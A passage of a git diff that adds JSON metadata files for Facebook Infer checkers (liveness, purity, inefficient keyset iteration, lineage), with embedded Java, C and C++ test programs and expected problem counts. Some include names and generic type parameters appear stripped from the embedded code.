{\n builder.delete(builder.length() - 2, builder.length());\n }\n }\n builder.append('}').setLength(10);\n return builder.toString();\n }\n\n String getCanonicalPath_pure(File file) throws IOException {\n return file.getCanonicalPath();\n }\n}\n" + }, + { + "testname": "Test.java", + "testlanguage": "java", + "expected-problems": 48, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nimport java.util.ArrayList;\n\nclass Test {\n\n private int a = 0;\n static Integer[] global_arr;\n\n void Test(int size) {\n global_arr = new Integer[size];\n }\n\n void set_impure(int x, int y) {\n a = x + y;\n }\n\n void global_array_set_impure(int x, int y) {\n global_arr[0] = x + y;\n }\n\n int local_write_pure(int x, int y) {\n int k = x + y;\n k++;\n return k;\n }\n\n void call_pure_pure(int size) {\n for (int i = 0; i < size; i++) {\n local_write_pure(i, size);\n }\n }\n\n void call_impure_impure(int size) {\n int d = 0;\n for (int i = 0; i < size; i++) {\n set_impure(i, size);\n }\n }\n\n // no change to outside state, the local allocation is ok.\n int local_alloc_pure(int x, int y) {\n ArrayList list = new ArrayList(x + y);\n for (Integer el : list) {\n call_pure_pure(el);\n }\n return list.size();\n }\n\n void parameter_field_write_impure(Test test, boolean b) {\n int c = b ? 0 : 1;\n test.a = c;\n }\n\n int parameter_field_access_pure(Test test) {\n return test.a;\n }\n\n // expected to be impure since y points to x\n void local_field_write_impure(Test x) {\n Test y = x;\n y.a = 0;\n }\n\n void swap_impure(int[] array, int i, int j) {\n int tmp = array[i];\n array[i] = array[j];\n array[j] = tmp;\n }\n\n void alias_impure(int[] array, int i, int j) {\n int[] a = array;\n a[j] = i;\n }\n\n // Currently, we can't distinguish between returning new Objects or\n // creating new Objects locally. Ideally, the latter should be fine\n // as long as it doesn't leak to the result.\n public ArrayList emptyList_impure_FN() {\n return new ArrayList();\n }\n\n // All unmodeled calls should be considered impure\n static long systemNanoTime_impure() {\n return System.nanoTime();\n }\n\n void exit_impure() {\n System.exit(1);\n }\n\n void modify_exit_impure(int[] a) {\n a[0] = 0;\n System.exit(1);\n }\n\n // We get no pulse summary, hence consider this as impure\n void while_true_impure() {\n while (true) {}\n }\n\n void modify_both_impure() {\n set_impure(0, 1);\n global_array_set_impure(3, 1);\n }\n}\n" + }, + { + "testname": "TrickyExamples.java", + "testlanguage": "java", + "expected-problems": 4, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nclass TrickyExamples {\n\n int x;\n\n // pulse summary only includes a single disjunct for everything upto the throw statement.\n void loop_impure_FN() {\n if (x > 10) {\n throw new IllegalArgumentException(\"x too big\");\n }\n x = 0;\n for (int i = 0; i < 10; i++) {}\n }\n}\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/InefficientKeysetIterator.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/InefficientKeysetIterator.json new file mode 100644 index 0000000..a49ea8d --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/InefficientKeysetIterator.json @@ -0,0 +1,22 @@ +{ + "name": "InefficientKeysetIterator", + "language": [ + "java" + ], + "description": "Check for inefficient uses of iterators that iterate on keys then lookup their values, \\\n instead of iterating on key-value pairs directly.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 114, + "branches": 13, + "apis": 13, + "test": [ + { + "testname": "Test.java", + "testlanguage": "java", + "expected-problems": 21, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nimport android.os.Bundle;\nimport androidx.collection.ArrayMap;\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.Map;\nimport java.util.Set;\n\nclass Test {\n\n void inefficient_loop_bad(HashMap testMap) {\n for (String key : testMap.keySet()) {\n testMap.get(key);\n }\n }\n\n void inefficient_loop_itr_bad(HashMap testMap) {\n\n Iterator itr2 = testMap.keySet().iterator();\n while (itr2.hasNext()) {\n String key = (String) itr2.next();\n testMap.get(key);\n }\n }\n\n void inefficient_loop_itr_heur_bad_FN(HashMap testMap) {\n\n Iterator itr2 = testMap.keySet().iterator();\n int i = 0;\n int j = 1;\n int k = 2;\n int l = 3;\n while (itr2.hasNext()) {\n String key = (String) itr2.next();\n testMap.get(key);\n }\n }\n\n void inefficient_loop_itr_heur_bad(HashMap testMap) {\n\n Iterator itr2 = testMap.keySet().iterator();\n int i = 0;\n while (itr2.hasNext()) {\n String key = (String) itr2.next();\n testMap.get(key);\n }\n }\n\n void inefficient_loop_itr_heur_btw_bad(HashMap testMap) {\n\n Set keySet = testMap.keySet();\n int i = 0;\n int j = 1;\n int l = 3;\n Iterator itr2 = keySet.iterator();\n while (itr2.hasNext()) {\n String key = (String) itr2.next();\n testMap.get(key);\n }\n }\n\n void efficient_loop_itr_ok(HashMap testMap) {\n\n Iterator> itr1 = testMap.entrySet().iterator();\n while (itr1.hasNext()) {\n Map.Entry entry = itr1.next();\n entry.getKey();\n entry.getValue();\n }\n }\n\n void efficient_loop_ok(HashMap testMap) {\n for (Map.Entry entry : testMap.entrySet()) {\n entry.getKey();\n entry.getValue();\n }\n }\n\n void negative_loop_ok(HashMap testMap1, HashMap testMap2) {\n for (String key : testMap1.keySet()) {\n testMap2.get(key);\n }\n }\n\n // Bundle doesn't implement Map hence have any entrySet\n public void from_bundle_ok(Bundle extras) {\n for (String key : extras.keySet()) {\n Object t = extras.get(key);\n }\n }\n\n // ArrayMap extends SimpleMap.\n void inefficient_arraymap_loop_bad(ArrayMap arrayMap) {\n for (String key : arrayMap.keySet()) {\n arrayMap.get(key);\n }\n }\n\n void independent_itr_loop_ok(\n HashMap testMap, HashMap otherMap) {\n Set s = otherMap.keySet(); // irrelevant\n for (Map.Entry entry : testMap.entrySet()) {\n String elem =\n otherMap.get(entry.getKey()); // getter is not coming from the one we are iterating over\n }\n }\n}\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/Lineage.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/Lineage.json new file mode 100644 index 0000000..a34e041 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/Lineage.json @@ -0,0 +1,15 @@ +{ + "name": "Lineage", + "language": [ + "erlang" + ], + "description": "Computes a dataflow graph", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 1840, + "branches": 136, + "apis": 458, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/LineageShape.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/LineageShape.json new file mode 100644 index 0000000..6510f2c --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/LineageShape.json @@ -0,0 +1,15 @@ +{ + "name": "LineageShape", + "language": [ + "erlang" + ], + "description": "Computes shape informations to be used in the Lineage analysis", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 1448, + "branches": 126, + "apis": 319, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/Liveness.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/Liveness.json new file mode 100644 index 0000000..7c24f84 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/Liveness.json @@ -0,0 +1,34 @@ +{ + "name": "Liveness", + "language": [ + "clang" + ], + "description": "Detection of dead stores and unused variables.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 366, + "branches": 34, + "apis": 93, + "test": [ + { + "testname": "dead_stores.cpp", + "testlanguage": "c++", + "expected-problems": 218, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\nnamespace infer {\nclass ScopeGuard {};\n}; // namespace infer\n\nnamespace dead_stores {\n\nvoid easy_bad() { int x = 5; }\n\nvoid throw_bad() {\n int i = 20;\n throw 1;\n}\n\nvoid reassign_param_bad(int x) { x = 5; }\n\nint dead_then_live_bad() {\n int x = 5;\n x = 3;\n return x;\n}\n\nint use_then_dead_bad() {\n int x = 5;\n int y = x;\n x = 7;\n return y;\n}\n\nvoid dead_pointer_bad() {\n int num = 2;\n int* x = #\n}\n\nvoid plus_plus1_bad() {\n int i = 1;\n ++i;\n}\n\nvoid plus_plus2_bad() {\n int i = 1;\n i++;\n}\n\nint plus_plus3_bad() {\n int i = 1;\n return i++;\n}\n\nvoid FN_capture_no_read_bad() {\n int x = 1;\n [x]() { return; }();\n}\n\nint init_capture_reassign_bad() {\n int i = 1; // this is a dead store\n return [i = 1]() { return i; }();\n}\n\nauto FN_init_capture_no_call_bad() {\n return [i = 1]() { return i; };\n}\n\nvoid init_capture_call_bad2() {\n auto f = [i = 1]() { return i; };\n}\n\nint FN_init_capture_no_read_bad() {\n return [i = 1]() { return 0; }();\n}\n\nint return_ok() {\n int x = 5;\n return x;\n}\n\nint branch_ok(bool b) {\n int x = 5;\n int y = 3;\n if (b) {\n y = x;\n }\n return y;\n}\n\nint loop_ok(bool b) {\n int x = 5;\n int y = 3;\n while (b) {\n y = x;\n b = false;\n }\n return y;\n}\n\nint loop_break_ok(bool b) {\n int x = 5;\n while (b) {\n x = 3;\n break;\n }\n return x;\n}\n\nint loop_continue_ok(bool b) {\n int x = 5;\n int y = 2;\n while (b) {\n y = x;\n x = 3;\n continue;\n }\n return y;\n}\n\nvoid assign_pointer1_ok(int* ptr) { *ptr = 7; }\n\nint* assign_pointer2_ok() {\n int num = 2;\n int* ptr = #\n return ptr;\n}\n\nvoid by_ref1_ok(int& ref) { ref = 7; }\n\nvoid by_ref2_ok(int& ref) { ref++; }\n\nint plus_plus_ok() {\n int x = 1;\n return ++x;\n}\n\nint plus_plus_loop_ok(int n) {\n int i;\n for (i = 1; i < n; i++) {\n i++;\n }\n return i;\n}\n\nauto lambda_bad() {\n int x = []() {\n int y = 1;\n y = 2;\n return y;\n }();\n return x;\n}\n\nvoid capture1_ok() {\n int x = 1;\n [x]() { return x; }();\n}\n\nvoid capture2_ok(int x) {\n [x]() { return x; }();\n}\n\nint capture_by_ref1_ok() {\n int x = 1;\n [&x]() { x++; }();\n return x;\n}\n\nint capture_by_ref2_ok() {\n int x = 1;\n int y = 1;\n [&]() {\n x = x + y;\n y = x;\n }();\n return x + y;\n}\n\nint capture_by_ref3_ok() {\n int x = 1;\n [&](auto y) { x += y; }(3);\n return x;\n}\n\nint capture_by_ref4_ok() {\n int x = 1;\n auto lambda = [&] { return x; };\n x = 2; // not a dead store; updates captured x\n return lambda();\n}\n\nint dead_store_before_capture_by_ref_bad() {\n int x = 1; // this is dead. should report it even though x is captured by ref\n // later on\n x = 2;\n auto lambda = [&] { return x; };\n x = 2;\n return lambda();\n}\n\nint capture_by_value_bad() {\n int x = 1;\n auto lambda = [=] { return x; };\n x = 2; // this is dead\n return lambda();\n}\n\nint FN_capture_by_ref_reuseBad() {\n int x = 1;\n [&x]() {\n x = 1; // dead, but we won't report\n x = 2;\n }();\n return x;\n}\n\nint init_capture1_ok() {\n return [i = 1]() { return i; }();\n}\n\nint init_capture2_ok() {\n int i = 1;\n return [j = i]() { return j; }();\n}\n\nint init_capture3_ok() {\n int i = 1;\n return [i = i]() { return i; }();\n}\n\nint init_capture4_ok() {\n int i = 1;\n int j = 1;\n return [a = 1, b = i, c = j]() { return a + b + c; }();\n}\n\nint init_capture5_ok() {\n int i = 1;\n int k = [j = i]() { return j; }();\n i = 5; // should not be flagged\n return i + k;\n}\n\nint init_capture6_ok() {\n int i = 1;\n int k = [i = i + 1]() { return i; }();\n i = 5; // should not be flagged;\n return i + k;\n}\n\nchar* global;\n\nvoid assign_array_tricky_ok() {\n char arr[1];\n global = arr;\n *(int*)arr = 123;\n}\n\n// Currently the frontend does not translate the casting of pointers to float.\nvoid FP_assign_array_tricky2_ok() {\n char arr[1];\n global = arr;\n *(float*)arr = 1.0;\n}\n\nvoid placement_new_ok(int len, int* ptr) {\n int* placement = ptr;\n while (len--) {\n new (placement++) int(5);\n }\n}\n\n// we don't report on dead stores where the RHS is 0, 0.0, false, nullptr, etc.\nbool sentinel_bool_ok() {\n bool b = false;\n b = true;\n return b;\n}\n\nint sentinel_int_ok() {\n int i = 0;\n i = 1;\n return i;\n}\n\nint sentinel_long_ok() {\n long l = 0L;\n l = 1L;\n return l;\n}\n\nfloat sentinel_float_ok() {\n float f = 0.0;\n f = 1.0;\n return f;\n}\n\ndouble sentinel_double_ok() {\n double d = 0.0;\n d = 1.0;\n return d;\n}\n\nint* sentinel_ptr_ok(int* j) {\n int* i = nullptr;\n i = j;\n return i;\n}\n\nvoid custom_scope_guard_ok() { infer::ScopeGuard guard; }\n\nstruct S {\n ~S() {}\n};\n\ntypedef S&& B;\n\nS mk_s() {\n S s;\n return s;\n};\n\n// s gets read by the destructor for S\nvoid FN_dead_struct_value1_bad() { S s = mk_s(); }\n\n// need to handle operator= in order to detect this case\nvoid FN_dead_struct_value2_bad() {\n S s = mk_s();\n s = mk_s();\n}\n\nvoid dead_struct_rvalue_ref_bad() { B b = mk_s(); }\n\nS struct_value_used_ok() {\n S s = mk_s();\n return s;\n}\n\nB& struct_rvalue_ref_used_ok() {\n B b = mk_s();\n return b;\n}\n\nstruct NoDestructor {};\n\nvoid dead_struct_no_destructor_bad() { NoDestructor dead; }\n\nvoid no_destructor_void_read_ok() {\n NoDestructor dead;\n (void)dead;\n}\n\nstruct NoDestructorDefinition {\n ~NoDestructorDefinition();\n};\n\nvoid dead_struct_no_destructor_definition_ok() { NoDestructorDefinition dead; }\n\nstd::mutex my_mutex;\n\nvoid dead_lock_guard_ok() { std::lock_guard lock(my_mutex); }\n\nvoid dead_unique_lock_ok() { std::unique_lock lock(my_mutex); }\n\nextern int maybe_throw();\n\nclass Exceptions {\n\n int read_in_catch1_ok() {\n int i = 1;\n try {\n throw std::runtime_error(\"error\");\n } catch (...) {\n return i;\n }\n return 0;\n }\n\n int read_in_catch_explicit_throw_ok() {\n int i = 1;\n try {\n maybe_throw();\n } catch (...) {\n return i;\n }\n return 0;\n }\n\n int dead_in_catch_bad() {\n try {\n throw std::runtime_error(\"error\");\n } catch (...) {\n int i = 1;\n }\n return 0;\n }\n\n int unreachable_catch_bad() {\n int i = 1;\n try {\n } catch (...) {\n return i;\n }\n return 0;\n }\n\n int multiple_catches_ok(bool b) {\n int i = 1;\n int j = 2;\n try {\n if (b) {\n throw std::length_error(\"error\");\n } else {\n throw std::range_error(\"error\");\n }\n } catch (std::length_error& msg) {\n return i;\n } catch (std::range_error& msg) {\n return j;\n }\n return 0;\n }\n\n void dont_throw() {}\n\n int FN_harder_unreachable_catch_bad() {\n int i = 1;\n try {\n dont_throw();\n } catch (...) {\n return i;\n }\n return 0;\n }\n\n int FN_throw_unrelated_catch_bad(int x) {\n int i = 5;\n throw std::invalid_argument(\"Positive argument :(\");\n // the rest is unreachable\n try {\n throw(0);\n } catch (...) {\n\n return i;\n }\n }\n\n // currently, the only transition to the catch block is at the end of the try\n // block. See T28898377\n int read_in_catch_tricky_ok(bool b1, bool b2) {\n int i = 1;\n try {\n if (b1) {\n throw std::runtime_error(\"error\");\n }\n i = 2;\n if (b2) {\n throw std::runtime_error(\"error\");\n }\n } catch (...) {\n return i;\n }\n return 0;\n }\n\n int read_in_loop_tricky_ok(bool b) {\n int i = 1;\n for (int p = 0; p <= 5; p++) {\n try {\n if (b) {\n throw std::runtime_error(\"error\");\n }\n } catch (...) {\n return i;\n }\n }\n\n return 0;\n }\n\n int read_in_goto_ok(bool b) {\n int i = 1;\n try {\n if (b) {\n throw std::runtime_error(\"error\");\n\n goto A;\n } else {\n\n goto B;\n }\n A:\n goto B;\n B:\n goto A;\n }\n\n catch (...) {\n return i;\n }\n return 0;\n }\n int return_in_try1_ok() {\n bool b;\n\n try {\n maybe_throw();\n return 3;\n } catch (const char* msg) {\n b = true;\n }\n\n if (b) {\n return 2;\n }\n return 3;\n }\n\n int return_in_try2_ok() {\n bool b;\n\n try {\n return maybe_throw();\n } catch (const char* msg) {\n b = true;\n }\n\n if (b) {\n return 2;\n }\n return 3;\n }\n\n int return_in_try_in_for_ok() {\n constexpr int i1 = 3;\n for (int i = 1;; ++i) {\n try {\n return maybe_throw();\n } catch (const char* msg) {\n if (i1 == i) {\n return 2;\n }\n }\n }\n return 3;\n }\n\n int read_in_catch_ok() {\n int x;\n try {\n x = 10;\n maybe_throw();\n x = 20;\n } catch (...) {\n return x;\n }\n return x;\n }\n\n int not_read_in_catch_bad() {\n int x;\n try {\n x = 10;\n maybe_throw();\n x = 20;\n } catch (...) {\n return 0;\n }\n return x;\n }\n\n int read_only_in_catch_bad() {\n int x;\n try {\n x = 10;\n maybe_throw();\n x = 20;\n } catch (...) {\n return x;\n }\n return 0;\n }\n\n void never_throw() {}\n\n int FN_read_only_in_unreachable_catch_bad() {\n int x;\n try {\n x = 10;\n never_throw();\n } catch (...) {\n return x;\n }\n return 0;\n }\n};\n\nvoid init_in_binop_bad(int x) { x = -x & ~int{0}; }\n\nvoid unused_tmp_bad() { int __tmp = 1; }\n\n#define UNUSED(a) __typeof__(&a) __attribute__((unused)) __tmp = &a;\n\nvoid unused_attribute_tmp_ok() {\n int x;\n UNUSED(x);\n}\n\nvoid unused_attribute_ok() { int __attribute__((unused)) x = 42; }\n\nstruct ChainedCalls {\n ChainedCalls chained(int i);\n};\n\nChainedCalls chain_method_calls_ok() {\n ChainedCalls x;\n return x.chained(5).chained(6);\n}\n\nstruct A {\n int f : 4;\n};\n\nint FP_decltype_read_ok(int x) {\n A a; // report here as the frontend erases the expression used in decltype\n // below\n decltype(a.f) i;\n return x + i;\n}\n\n// destructor block listed for liveness in .inferconfig\nstruct BlockListedStruct {\n ~BlockListedStruct(){};\n\n BlockListedStruct cloneAsValue() const { return BlockListedStruct(); }\n\n std::unique_ptr clone() const {\n return std::make_unique(cloneAsValue());\n }\n};\n\nvoid unused_block_listed_constructed_bad() { auto x = BlockListedStruct(); }\n\nvoid unused_block_listed_clone_bad(BlockListedStruct* something) {\n auto x = something->clone();\n}\n\nvoid unused_block_listed_unique_ptr_bad(BlockListedStruct* something) {\n auto x = std::make_unique(*something);\n}\n\nvoid unused_unique_ptr_good(A* something) {\n auto x = std::make_unique(*something);\n}\n\nstruct X {\n operator bool() { return true; }\n};\n\nX getX() {\n X x;\n return x;\n}\n\nvoid binaryConditional_bad() {\n int i = 42;\n X a;\n X x = getX() ?: a;\n int j = 42;\n}\n\nX getXFromInt(int x);\n\nvoid switch_with_temporary_ok() {\n int x = 44;\n switch (42) {\n case 0:\n getXFromInt(x);\n };\n}\n\nvoid ignored_constants_ok() {\n int x = 0;\n float f = 0.0;\n int z = 44;\n}\n\nvoid store_total_in_global_state(int& total);\nvoid reads_global_state_with_total_in_it();\n\nvoid passed_by_ref_ok() {\n int total;\n store_total_in_global_state(total);\n total = 42;\n reads_global_state_with_total_in_it();\n}\n\nvoid FN_passed_by_ref_not_used_bad() {\n int total;\n store_total_in_global_state(total);\n total = 42;\n // any use of [total] would have to occur before function exit as accesses\n // after function exit are invalid since total goes out of scope\n}\n\nvoid passed_by_ref_in_loop_ok(int n) {\n int total;\n for (int i = 0; i < n; i++) {\n store_total_in_global_state(total);\n }\n total = 42;\n reads_global_state_with_total_in_it();\n}\n\nvoid underscore_dead_store_ok() { int _ = 1234; }\n\nvoid use_string(std::string);\n\nvoid underscore_binding_ok(std::map m) {\n for (const auto& [key, _] : m) {\n use_string(key);\n }\n}\n\nvoid read(int);\n\nvoid swich_in_try_ok(int a) {\n int x = 42;\n try {\n switch (a) {\n case 42: {\n return;\n }\n default:;\n }\n } catch (int) {\n }\n read(x);\n}\n\nvoid unknown();\n\nvoid unknown_call_in_try_ok() {\n int x = 42;\n try {\n unknown();\n return;\n } catch (int) {\n }\n read(x);\n}\n\nbool atomic_compare_exchange_ok() {\n uint32_t ptr = 1;\n uint32_t expected = 1;\n uint32_t desired = 0;\n\n bool success = __atomic_compare_exchange(\n &ptr, &expected, &desired, false, __ATOMIC_SEQ_CST, __ATOMIC_SEQ_CST);\n\n return success;\n}\n} // namespace dead_stores\n" + }, + { + "testname": "dead_stores_constexpr.cpp", + "testlanguage": "c++", + "expected-problems": 20, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nint foo(int a);\n\n// before, we were raising DEAD_STORE for x\nvoid capture_constexpr_good() {\n constexpr int x = 10;\n []() {\n foo(x);\n return;\n }();\n}\n\nvoid call_it(void (*f)(void)) { f(); }\n\nvoid capture_constexpr2_good() {\n constexpr int x = 1;\n auto lambda = []() {\n foo(x);\n return;\n };\n call_it(lambda);\n}\n\nvoid capture_const_bad(const int y) {\n const int x = y;\n []() {\n foo(0);\n return;\n }();\n}\n\n// we always assume const exprs are captured in lambdas\nvoid FN_capture_constexpr_good() {\n constexpr int x = 10;\n []() {\n foo(0);\n return;\n }();\n}\n\nvoid FN_init_capture_reassign_bad() {\n constexpr int i = 1; // this is a dead store\n return [i = 1]() { return i; }();\n}\n\n// expected DEAD_STORE\nvoid FN_capture_constexpr_bad() {\n constexpr int x = 1;\n foo(2);\n}\n\n// expected since dead stores to a \"sentinel\" value are ignored\nvoid capture_constexpr_sentinel_good() {\n constexpr int x = 0;\n []() { return; }();\n}\n" + }, + { + "testname": "non_type_template_param.cpp", + "testlanguage": "c++", + "expected-problems": 8, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n// see also https://github.com/facebook/infer/issues/950\n\ntemplate \nstruct X {\n bool isZeroBad() {\n int unused = 1;\n return T == 0;\n }\n};\n\nint instanciateTemplateBad() {\n X<3> x;\n x.isZeroBad();\n int unused = 1;\n return 0;\n}\n\nvoid instanciateTemplateConstOk_FP() {\n const int foo = 7;\n X x;\n x.isZeroBad();\n}\n\nvoid instanciateTemplateConstExprOk() {\n constexpr int foo = 7;\n X x;\n x.isZeroBad();\n}\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/ParameterNotNullChecked.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/ParameterNotNullChecked.json new file mode 100644 index 0000000..cef2e8c --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/ParameterNotNullChecked.json @@ -0,0 +1,15 @@ +{ + "name": "ParameterNotNullChecked", + "language": [ + "clang" + ], + "description": "An Objective-C-specific analysis to detect when a block parameter is used before being \\\n checked for null first.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 252, + "branches": 25, + "apis": 51, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/PurityAnalysis.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/PurityAnalysis.json new file mode 100644 index 0000000..fb1e329 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/PurityAnalysis.json @@ -0,0 +1,16 @@ +{ + "name": "PurityAnalysis", + "language": [ + "clang", + "java" + ], + "description": "Internal part of the purity checker.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 169, + "branches": 18, + "apis": 34, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/PurityChecker.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/PurityChecker.json new file mode 100644 index 0000000..6249d43 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/PurityChecker.json @@ -0,0 +1,59 @@ +{ + "name": "PurityChecker", + "language": [ + "clang", + "java" + ], + "description": "Detects pure (side-effect-free) functions. A different implementation of \\", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 36, + "branches": 4, + "apis": 2, + "test": [ + { + "testname": "array.c", + "testlanguage": "c", + "expected-problems": 18, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n#include \n\nvoid swap_bad(int* array, int i, int j) {\n int tmp = array[i];\n array[i] = array[j];\n array[j] = tmp;\n}\n\nvoid alias_mod_bad(int array[], int i, int j) {\n int* a = array;\n a[j] = i;\n}\n\nvoid fresh_arr_ok(int size) {\n int arr[size];\n for (int i = 0; i < size - 1; i++) {\n arr[i] = 0;\n }\n}\n\nvoid call_impure_with_local_ok(int size) {\n int arr[size];\n alias_mod_bad(arr, 0, 9);\n}\n\nvoid time_bad() {\n time_t rawtime;\n struct tm* timeinfo;\n\n time(&rawtime);\n timeinfo = localtime(&rawtime);\n}\n" + }, + { + "testname": "global_test.c", + "testlanguage": "c", + "expected-problems": 15, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nint global;\n\nstatic int s;\n\nvoid static_incr_bad() { s += 1; }\n\nvoid global_write_bad(int x, int y) { global += x + y; }\n\nvoid call_impure_bad(int size) {\n for (int i = 0; i < size; i++) {\n global_write_bad(i, size);\n }\n}\n\nint local_write_ok(int x, int y) {\n int k = x + y;\n k++;\n return k;\n}\n\n// calls foo which modifies global var\nvoid call_set_bad() { static_incr_bad(); }\n" + }, + { + "testname": "struct.c", + "testlanguage": "c", + "expected-problems": 10, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\ntypedef struct {\n int i;\n} Foo;\n\nstatic int variable_init_ok(const int* x) {\n const Foo* foo = (const Foo*)x;\n return foo->i;\n}\n\nFoo* variable_init_bad(const int* x) {\n Foo* foo = (const Foo*)x; // aliasing to x\n foo->i = 0;\n return foo;\n}\n\nvoid set_fresh_ok() {\n Foo* foo = {0};\n foo->i = 0;\n}\n\nvoid set_fresh_primitive_ok(int x) {\n Foo* foo = {x};\n foo->i = 0;\n}\n\nvoid set_alias_primitive_bad(int* x) {\n Foo* foo = {x};\n foo->i = 0;\n}\n" + }, + { + "testname": "GlobalTest.java", + "testlanguage": "java", + "expected-problems": 18, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nclass GlobalTest {\n public static int s = 0;\n public static Foo foo;\n\n class Foo {\n\n int x = 0;\n // modifies global var 's' hence impure\n void set_impure() {\n s = 10;\n }\n }\n\n void incr(Foo foo, int i) {\n foo.x += i;\n }\n\n // calls foo which modifies global var\n void call_set_impure() {\n Foo f = new Foo();\n f.set_impure();\n }\n\n // foo is global which is modified by incr.\n void global_mod_via_argument_passing_impure(int size, Foo f) {\n for (int i = 0; i < size; i++) {\n incr(foo, i);\n }\n }\n\n // aliased_foo is aliasing a global and then is modified by incr.\n void global_mod_via_argument_passing_impure_aliased(int size, Foo f) {\n Foo aliased_foo = foo; // Inferbo can't recognize aliasing here\n // and assumes aliased_foo is in [-oo,+oo] not in foo\n for (int i = 0; i < size; i++) {\n incr(aliased_foo, i);\n }\n }\n}\n" + }, + { + "testname": "Localities.java", + "testlanguage": "java", + "expected-problems": 38, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nimport java.util.ArrayList;\nimport java.util.Iterator;\n\nclass Localities {\n // @pure\n boolean contains_pure_FN(Integer i, ArrayList list) {\n Iterator listIterator = list.iterator();\n while (listIterator.hasNext()) {\n Integer el = listIterator.next();\n if (i.equals(el)) {\n return true;\n }\n }\n return false;\n }\n\n // @mod:{list}\n void makeAllZero_impure(ArrayList list) {\n Iterator listIterator = list.iterator();\n while (listIterator.hasNext()) {\n Foo foo = listIterator.next();\n foo.x = 0;\n }\n }\n\n // @mod:{list}\n void incrementAll_impure(ArrayList list) {\n Iterator listIterator = list.iterator();\n while (listIterator.hasNext()) {\n Foo foo = listIterator.next();\n foo.inc_impure();\n }\n }\n\n // @pure\n void call_impure_with_fresh_args_pure() {\n ArrayList list = new ArrayList();\n makeAllZero_impure(list);\n }\n\n class Bar {\n int p;\n }\n\n class Foo {\n int x;\n Bar bar;\n\n // @mod:{this}\n void inc_impure() {\n x++;\n }\n }\n\n class Counter {\n\n int i = 0;\n // @mod:{this}\n // only modifies fields of its receiver object\n void inc_impure() {\n i++;\n }\n\n // @pure, @loc:{}\n int get_i_pure() {\n return i;\n }\n }\n\n // @pure, @loc:{}\n int length_pure(ArrayList list) {\n Counter c = new Counter();\n for (Integer i : list) {\n c.inc_impure();\n }\n return c.i;\n }\n\n class HasCounter {\n Counter counter = new Counter();\n\n // @loc:{this}\n Counter getCounter_pure() {\n return counter;\n }\n }\n\n // @loc:{}\n public static int[] setFreshArrayEntry_pure(int index, int value) {\n int[] arr = new int[] {1, 2, 3};\n if (index > 0) {\n arr[index % 3] = value;\n }\n return arr;\n }\n\n // @loc: T\n private int newHashCode_impure() {\n return new Object().hashCode();\n }\n\n // 